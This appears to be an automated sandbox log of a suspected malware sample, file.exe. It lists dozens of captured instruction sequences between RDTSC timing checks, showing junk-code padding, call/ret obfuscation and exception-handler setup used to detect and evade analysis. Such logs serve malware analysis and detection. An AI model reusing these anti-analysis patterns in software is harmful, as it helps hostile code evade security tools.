Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13473A0 second address: 13473CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FC8515781DCh 0x00000012 jnl 00007FC8515781D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13482DD second address: 13482E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134754A second address: 1347550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347550 second address: 1347554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1347554 second address: 13475D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FC8515781D8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c add bh, FFFFFFC7h 0x0000002f mov edi, ebx 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 mov edi, dword ptr [ebp+122D2014h] 0x0000003e mov eax, dword ptr [ebp+122D12DDh] 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007FC8515781D8h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e push FFFFFFFFh 0x00000060 mov edi, ecx 0x00000062 push ebx 0x00000063 mov dword ptr [ebp+1247A367h], eax 0x00000069 pop edi 0x0000006a push eax 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13475D8 second address: 13475DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13484A7 second address: 13484B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jc 00007FC8515781D6h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B44B second address: 134B46C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007FC850CE3D4Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC850CE3D3Eh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134B46C second address: 134B4EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007FC8515781DBh 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007FC8515781D8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 sub bl, FFFFFFABh 0x0000002b push ecx 0x0000002c or ebx, 62978D69h 0x00000032 pop ebx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007FC8515781D8h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 00000015h 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f mov bx, 8D8Ah 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push edi 0x00000057 jmp 00007FC8515781E4h 0x0000005c pop edi 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134A4AD second address: 134A4B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C55D second address: 134C575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC8515781E1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C575 second address: 134C579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C579 second address: 134C5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FC8515781E7h 0x0000000d nop 0x0000000e jp 00007FC8515781D9h 0x00000014 movsx edi, si 0x00000017 push 00000000h 0x00000019 pushad 0x0000001a sub ecx, dword ptr [ebp+122D1C2Ch] 0x00000020 movzx edi, dx 0x00000023 popad 0x00000024 xor dword ptr [ebp+122D326Ah], edx 0x0000002a push 00000000h 0x0000002c jmp 00007FC8515781E6h 0x00000031 ja 00007FC8515781DBh 0x00000037 xchg eax, esi 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FC8515781DDh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C5E8 second address: 134C5EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D5D7 second address: 134D631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 add edi, dword ptr [ebp+122D3680h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FC8515781D8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a mov dword ptr [ebp+12451E2Fh], edx 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D1F33h], esi 0x00000038 xchg eax, esi 0x00000039 push edi 0x0000003a jno 00007FC8515781DCh 0x00000040 pop edi 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FC8515781DAh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C734 second address: 134C765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC850CE3D49h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C765 second address: 134C775 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D7A1 second address: 134D7AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC850CE3D36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D7AC second address: 134D7BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D7BB second address: 134D7C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134F4A2 second address: 134F4D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FC8515781E2h 0x00000011 jmp 00007FC8515781DFh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D7C1 second address: 134D860 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC850CE3D3Dh 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov di, 63ABh 0x00000010 mov ebx, dword ptr [ebp+122D2247h] 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007FC850CE3D38h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 jne 00007FC850CE3D38h 0x0000003d mov dword ptr [ebp+12452147h], esi 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a push 00000000h 0x0000004c push esi 0x0000004d call 00007FC850CE3D38h 0x00000052 pop esi 0x00000053 mov dword ptr [esp+04h], esi 0x00000057 add dword ptr [esp+04h], 00000017h 0x0000005f inc esi 0x00000060 push esi 0x00000061 ret 0x00000062 pop esi 0x00000063 ret 0x00000064 mov bx, B54Bh 0x00000068 mov ebx, 04D58935h 0x0000006d mov eax, dword ptr [ebp+122D0CD1h] 0x00000073 mov dword ptr [ebp+12459D8Eh], edx 0x00000079 push FFFFFFFFh 0x0000007b mov dword ptr [ebp+122D23AEh], edx 0x00000081 nop 0x00000082 push ebx 0x00000083 push eax 0x00000084 push edx 0x00000085 push eax 0x00000086 push edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D860 second address: 134D864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1350541 second address: 1350545 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D864 second address: 134D871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D871 second address: 134D878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135146C second address: 1351473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351473 second address: 1351491 instructions: 0x00000000 rdtsc 0x00000002 js 00007FC850CE3D3Ch 0x00000008 je 00007FC850CE3D36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jl 00007FC850CE3D38h 0x00000018 push esi 0x00000019 pop esi 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351491 second address: 1351495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1351495 second address: 1351499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E81E second address: 134E822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E822 second address: 134E846 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC850CE3D40h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E846 second address: 134E84C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13523B8 second address: 13523CE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnp 00007FC850CE3D48h 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007FC850CE3D36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13523CE second address: 13523D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13523D2 second address: 1352437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FC850CE3D38h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 add di, 7EF6h 0x00000026 add bl, 0000004Dh 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ebx 0x0000002e call 00007FC850CE3D38h 0x00000033 pop ebx 0x00000034 mov dword ptr [esp+04h], ebx 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc ebx 0x00000041 push ebx 0x00000042 ret 0x00000043 pop ebx 0x00000044 ret 0x00000045 mov edi, dword ptr [ebp+122D3554h] 0x0000004b push 00000000h 0x0000004d mov edi, dword ptr [ebp+1246199Dh] 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13532D4 second address: 13532D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13532D8 second address: 1353393 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007FC850CE3D42h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FC850CE3D38h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c clc 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edi 0x00000032 call 00007FC850CE3D38h 0x00000037 pop edi 0x00000038 mov dword ptr [esp+04h], edi 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc edi 0x00000045 push edi 0x00000046 ret 0x00000047 pop edi 0x00000048 ret 0x00000049 xor edi, dword ptr [ebp+122D3570h] 0x0000004f xchg eax, esi 0x00000050 pushad 0x00000051 pushad 0x00000052 jns 00007FC850CE3D36h 0x00000058 js 00007FC850CE3D36h 0x0000005e popad 0x0000005f jmp 00007FC850CE3D49h 0x00000064 popad 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007FC850CE3D40h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1356A68 second address: 1356A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC8515781D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134F7C3 second address: 134F7C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357902 second address: 1357908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357908 second address: 1357917 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1357917 second address: 135791D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F7C8 second address: 135F7CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F7CE second address: 135F7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC8515781E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F7E5 second address: 135F7EB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F92C second address: 135F930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F930 second address: 135F95B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FC850CE3D36h 0x00000009 jmp 00007FC850CE3D3Eh 0x0000000e push eax 0x0000000f pop eax 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 jo 00007FC850CE3D38h 0x00000019 pushad 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135F95B second address: 135F95F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364AEA second address: 1364B20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC850CE3D44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FC850CE3D47h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364B20 second address: 1364B3A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC8515781D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 ja 00007FC8515781D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364B3A second address: 1364B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007FC850CE3D3Ah 0x0000000b pop edi 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC850CE3D3Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B65F second address: 136B67F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FC8515781DAh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B67F second address: 136B688 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B688 second address: 136B68C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B68C second address: 136B696 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC850CE3D36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B696 second address: 136B6AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FC8515781E0h 0x0000000f jmp 00007FC8515781DAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A40F second address: 136A435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FC850CE3D36h 0x0000000c popad 0x0000000d jmp 00007FC850CE3D49h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A435 second address: 136A448 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC8515781DEh 0x00000008 jns 00007FC8515781D6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136A448 second address: 136A450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136AB01 second address: 136AB07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136AC44 second address: 136AC6C instructions: 0x00000000 rdtsc 0x00000002 js 00007FC850CE3D4Eh 0x00000008 jmp 00007FC850CE3D48h 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FC850CE3D36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136AF30 second address: 136AF38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136AF38 second address: 136AF3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B24C second address: 136B251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136B251 second address: 136B260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FC850CE3D36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136F965 second address: 136F96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EFD8F second address: 12EFD93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376F49 second address: 1376F57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC8515781DAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376F57 second address: 1376F5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13779F6 second address: 13779FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13779FC second address: 1377A22 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FC850CE3D3Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FC850CE3D3Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377B50 second address: 1377B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FC8515781D6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jl 00007FC8515781D6h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377B67 second address: 1377B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377B6B second address: 1377B91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC8515781DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FC8515781DEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377CFA second address: 1377D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1377D02 second address: 1377D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC8515781DEh 0x0000000e rdtsc
